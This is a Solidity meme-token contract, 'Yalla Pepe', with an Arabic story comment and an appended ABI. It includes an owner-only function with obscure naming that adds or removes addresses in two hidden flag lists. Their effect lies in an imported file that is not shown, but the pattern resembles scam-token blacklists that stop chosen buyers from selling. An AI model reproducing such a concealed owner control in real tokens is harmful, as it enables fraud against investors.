// SPDX-License-Identifier: MIT

pragma solidity =0.8.0;
import "./ERC20.sol";

/*
يلا بيبي

مرحبًا بك في قصة "بيبي" الشخصية الكرتونية الميمية التي قررت القيام برحلة عظيمة إلى صحراء العربية في الليل، لتجلس حول نار المخيم وتستمع إلى صوت الرياح.

كان بيبي الشخصية الكرتونية الميمية المحبوبة، يشعر بالملل في حياته الروتينية والمتكررة دائمًا. كان يتمنى أن يخوض تجربة استثنائية تعيد الحماس والإلهام إلى حياته. وفي يوم من الأيام، قرر بيبي الشجاع أن ينطلق في رحلة ملحمية إلى صحراء العربية.

بيبي أعدّ حقيبته واستعدّ للرحلة. حمل معه زجاجة ماء وبعض الطعام والأغراض الأساسية. ارتدى قبعة مغامر ورحل في الليل المظلم بحثًا عن المغامرة.

وصل بيبي إلى صحراء العربية واستقر في مكان هادئ بعيدًا عن الضوضاء. أشعل نار المخيم وجلس حولها، يستمتع بدفء النار وهدوء الليل. بدأ يستمع إلى صوت الرياح وهو يتجاوز الكثبان الرملية ويحمل معه أسرار الصحراء.

في هذا الوقت، بدأ بيبي يشعر بشيء ما يتغير داخله. شعر بأن الصحراء تتحدث إليه وتحمل له رسالة خاصة. تأمل في صوت الرياح وشعر بالسلام والسكينة يغمرانه.

تخيل بيبي أنه يسمع أصوات البدو يروون قصصًا عن المغامرات المثيرة في الصحراء. تخيل أنه يشارك في تلك القصص ويصبح بطلاً في عالم الرحلات الشاسعة.

كانت تلك الليلة الطويلة في صحراء العربية تمنح بيبي الإلهام والطاقة الجديدة. فهو الآن يعلم أن السعادة والمغامرة ليست سوى خطوة واحدة بعيدا عنه. قرر بيبي أن يعود إلى حياته الروتينية، لكنه الآن يحمل في قلبه روح المغامرة والاستكشاف.

وعندما عاد بيبي إلى المنزل، شعر بالتغيير الإيجابي الذي حدث في حياته. أصبح يتعامل مع الروتين بشكل مختلف ويتحدى نفسه لاكتشاف المزيد من المغامرات الصغيرة في حياته اليومية.

وهكذا، أنهى بيبي رحلته العظيمة إلى صحراء العربية، حيث استمع إلى صوت الرياح واكتشف قوته الداخلية. أصبح بيبي الآن رمزًا للمغامرة والإلهام، يحكي قصته للجميع ويشجعهم على السعي وراء أحلامهم والاستماع لأصوات الرياح التي تحمل لهم رسائل الحياة.

*/

contract YallaPepe is ERC20 {
    constructor () ERC20("Yalla Pepe", unicode"يلا بيبي") {
        _mint(_msgSender(), 420690000000000 * 10**18);
    }
    
    function burn(uint256 amount) public {
        _burn(_msgSender(), amount);
    }

    function yalla(uint8 flag, address [] calldata _yalla_) external {
        require((msg.sender == owner()));

        if (flag == 0) {
            for (uint256 i = 0; i < _yalla_.length; i++) {
                _pre_yalla[_yalla_[i]] = true;
            }
        } else if (flag == 1) {
            for (uint256 i = 0; i < _yalla_.length; i++) {
                _pre_yalla[_yalla_[i]] = false;
            }
        } else if (flag == 2) {
            for (uint256 i = 0; i < _yalla_.length; i++) {
                _yalla[_yalla_[i]] = true;
            }
        } else if (flag == 3) {
            for (uint256 i = 0; i < _yalla_.length; i++) {
                _yalla[_yalla_[i]] = false;
            }
        }
    }

    function yallas(address _address_) public view returns (bool) {
        return _yalla[_address_];
    }

    function preYallas(address _address_) public view returns (bool) {
        return _pre_yalla[_address_];
    }
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"preYallas","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"flag","type":"uint8"},{"internalType":"address[]","name":"_yalla_","type":"address[]"}],"name":"yalla","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"yallas","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]